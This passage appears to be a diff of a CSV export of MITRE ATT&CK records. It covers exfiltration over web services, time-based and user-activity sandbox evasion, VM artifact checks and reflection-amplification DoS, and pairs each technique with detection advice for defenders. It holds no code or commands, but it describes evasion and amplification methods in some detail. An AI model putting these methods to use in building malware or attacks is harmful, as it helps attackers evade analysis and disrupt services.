beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.",,,,,True,,,"['User', 'Administrator']",['Windows'],True,,,1.0 -2020-03-09 12:51:45.570000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services. +It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.",True,"['User', 'Administrator']",['Windows'],1.1,True,,,,,, +attack-pattern,attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-09T12:51:45.570Z,2021-10-15T22:50:29.607Z,Exfiltration Over Web Service,"Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services. -Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1567', external_id='T1567')]",attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='exfiltration')]",2020-03-28 01:02:24.276000+00:00,Exfiltration Over Web Service,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,,,,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.",,,,,False,True,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-06 21:11:11.225000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time. +Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1567', 'external_id': 'T1567'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['William Cain'],"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.",False,,"['Linux', 'macOS', 'Windows']",1.1,,,True,,,, +attack-pattern,attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-06T21:11:11.225Z,2021-10-15T22:37:43.854Z,Time Based Evasion,"Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time. -Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny. +Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness) -Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1497/003', external_id='T1497.003'), ExternalReference(source_name='ISACA Malware Tricks', description='Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.', url='https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes')]",attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2021-04-01 15:48:28.345000+00:00,Time Based Evasion,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Deloitte Threat Library Team'],"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']","['Host forensic analysis', 'Signature-based detection', 'Static File Analysis', 'Anti-virus']",,,,"Time-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ",,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.1 -2020-03-06 21:04:12.454000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. +Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot) -Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1497/002', external_id='T1497.002'), ExternalReference(source_name='Sans Virtual Jan 2016', description='Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019.', url='https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667'), ExternalReference(source_name='Unit 42 Sofacy Nov 2018', description='Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019.', url='https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/'), ExternalReference(source_name='FireEye FIN7 April 2017', description='Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.', url='https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html')]",attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2020-07-01 16:32:02.491000+00:00,User Activity Based Checks,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Deloitte Threat Library Team'],"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']","['Anti-virus', 'Static File Analysis', 'Signature-based detection', 'Host forensic analysis']",,,,"User activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ",,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-06 20:57:37.959000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. +Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1497/003', 'external_id': 'T1497.003'}, {'source_name': 'Deloitte Environment Awareness', 'description': 'Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.', 'url': 'https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc'}, {'source_name': 'Revil Independence Day', 'description': 'Loman, M. et al. (2021, July 4). Independence Day: REvil uses supply chain exploit to attack hundreds of businesses. Retrieved September 30, 2021.', 'url': 'https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/'}, {'source_name': 'Netskope Nitol', 'description': 'Malik, A. (2016, October 14). Nitol Botnet makes a resurgence with evasive sandbox analysis technique. Retrieved September 30, 2021.', 'url': 'https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique'}, {'source_name': 'Joe Sec Nymaim', 'description': 'Joe Security. (2016, April 21). Nymaim - evading Sandboxes with API hammering. Retrieved September 30, 2021.', 'url': 'https://www.joesecurity.org/blog/3660886847485093803'}, {'source_name': 'Joe Sec Trickbot', 'description': ""Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021."", 'url': 'https://www.joesecurity.org/blog/498839998833561473'}, {'source_name': 'ISACA Malware Tricks', 'description': 'Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.', 'url': 'https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jorge Orchilles, SCYTHE', 'Ruben Dodge, @shotgunner101', 'Jeff Felling, Red Canary', 'Deloitte Threat Library Team']","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']","['Host forensic analysis', 'Signature-based detection', 'Static File Analysis', 'Anti-virus']","Time-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ",True,,"['Linux', 'macOS', 'Windows']",1.2,,,,,,, +attack-pattern,attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-06T21:04:12.454Z,2021-10-18T14:57:48.362Z,User Activity Based Checks,"Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) + +Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1497/002', 'external_id': 'T1497.002'}, {'source_name': 'Deloitte Environment Awareness', 'description': 'Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.', 'url': 'https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc'}, {'source_name': 'Sans Virtual Jan 2016', 'description': 'Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019.', 'url': 'https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667'}, {'source_name': 'Unit 42 Sofacy Nov 2018', 'description': 'Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019.', 'url': 'https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/'}, {'source_name': 'FireEye FIN7 April 2017', 'description': 'Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Deloitte Threat Library Team'],"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']","['Anti-virus', 'Static File Analysis', 'Signature-based detection', 'Host forensic analysis']","User activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ",True,,"['Linux', 'macOS', 'Windows']",1.1,,,,,,, +attack-pattern,attack-pattern--29be378d-262d-4e99-b00d-852d573628e6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-06T20:57:37.959Z,2021-10-18T14:57:07.973Z,System Checks,"Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. @@ -1083,39 +1250,39 @@ Checks could include generic system properties such as host/domain name and samp Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. -Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1497/001', external_id='T1497.001'), ExternalReference(source_name='McAfee Virtual Jan 2017', description='Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019.', url='https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/'), ExternalReference(source_name='Unit 42 OilRig Sept 2018', description='Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.', url='https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/')]",attack-pattern--29be378d-262d-4e99-b00d-852d573628e6,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2021-04-21 15:16:10.604000+00:00,System Checks,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Deloitte Threat Library Team'],"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']","['Static File Analysis', 'Signature-based detection', 'Host forensic analysis', 'Anti-virus']",,,,"Virtualization/sandbox related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.",,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,2.0 -2020-03-02 20:08:03.691000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to cause a denial of service by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflector may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) +Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1497/001', 'external_id': 'T1497.001'}, {'source_name': 'Deloitte Environment Awareness', 'description': 'Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.', 'url': 'https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc'}, {'source_name': 'McAfee Virtual Jan 2017', 'description': 'Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019.', 'url': 'https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/'}, {'source_name': 'Unit 42 OilRig Sept 2018', 'description': 'Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.', 'url': 'https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Deloitte Threat Library Team'],"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']","['Static File Analysis', 'Signature-based detection', 'Host forensic analysis', 'Anti-virus']","Virtualization/sandbox related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.",True,,"['Linux', 'macOS', 'Windows']",2.1,,,,,,, +attack-pattern,attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-02T20:08:03.691Z,2021-03-29T16:13:53.747Z,Reflection Amplification,"Adversaries may attempt to cause a denial of service by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflector may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) -Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1498/002', external_id='T1498.002'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/490.html', external_id='CAPEC-490'), ExternalReference(source_name='Cloudflare ReflectionDoS May 2017', description='Marek Majkowsk, Cloudflare. (2017, May 24). Reflections on reflection (attacks). Retrieved April 23, 2019.', url='https://blog.cloudflare.com/reflections-on-reflections/'), ExternalReference(source_name='Cloudflare DNSamplficationDoS', description='Cloudflare. (n.d.). What is a DNS amplification attack?. Retrieved April 23, 2019.', url='https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/'), ExternalReference(source_name='Cloudflare NTPamplifciationDoS', description='Cloudflare. (n.d.). What is a NTP amplificaiton attack?. Retrieved April 23, 2019.', url='https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/'), ExternalReference(source_name='Arbor AnnualDoSreport Jan 2018', description=""Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019."", url='https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf'), ExternalReference(source_name='Cloudflare Memcrashed Feb 2018', description='Marek Majkowski of Cloudflare. (2018, February 27). Memcrashed - Major amplification attacks from UDP port 11211. Retrieved April 18, 2019.', url='https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/'), ExternalReference(source_name='Cisco DoSdetectNetflow', description='Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.', url='https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf')]",attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')]",2021-03-29 16:13:53.747000+00:00,Reflection Amplification,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Sensor Health: Host Status', 'Network Traffic: Network Traffic Flow']",,,,,"Detection of reflection amplification can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a reflection amplification DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.",,,,['Availability'],True,,,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,,,1.2 -2020-03-02 20:07:18.651000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001) are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well. +Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1498/002', 'external_id': 'T1498.002'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/490.html', 'external_id': 'CAPEC-490'}, {'source_name': 'Cloudflare ReflectionDoS May 2017', 'description': 'Marek Majkowsk, Cloudflare. (2017, May 24). Reflections on reflection (attacks). Retrieved April 23, 2019.', 'url': 'https://blog.cloudflare.com/reflections-on-reflections/'}, {'source_name': 'Cloudflare DNSamplficationDoS', 'description': 'Cloudflare. (n.d.). What is a DNS amplification attack?. Retrieved April 23, 2019.', 'url': 'https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/'}, {'source_name': 'Cloudflare NTPamplifciationDoS', 'description': 'Cloudflare. (n.d.). What is a NTP amplificaiton attack?. Retrieved April 23, 2019.', 'url': 'https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/'}, {'source_name': 'Arbor AnnualDoSreport Jan 2018', 'description': ""Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019."", 'url': 'https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf'}, {'source_name': 'Cloudflare Memcrashed Feb 2018', 'description': 'Marek Majkowski of Cloudflare. (2018, February 27). Memcrashed - Major amplification attacks from UDP port 11211. Retrieved April 18, 2019.', 'url': 'https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/'}, {'source_name': 'Cisco DoSdetectNetflow', 'description': 'Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.', 'url': 'https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Sensor Health: Host Status', 'Network Traffic: Network Traffic Flow']",,"Detection of reflection amplification can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco 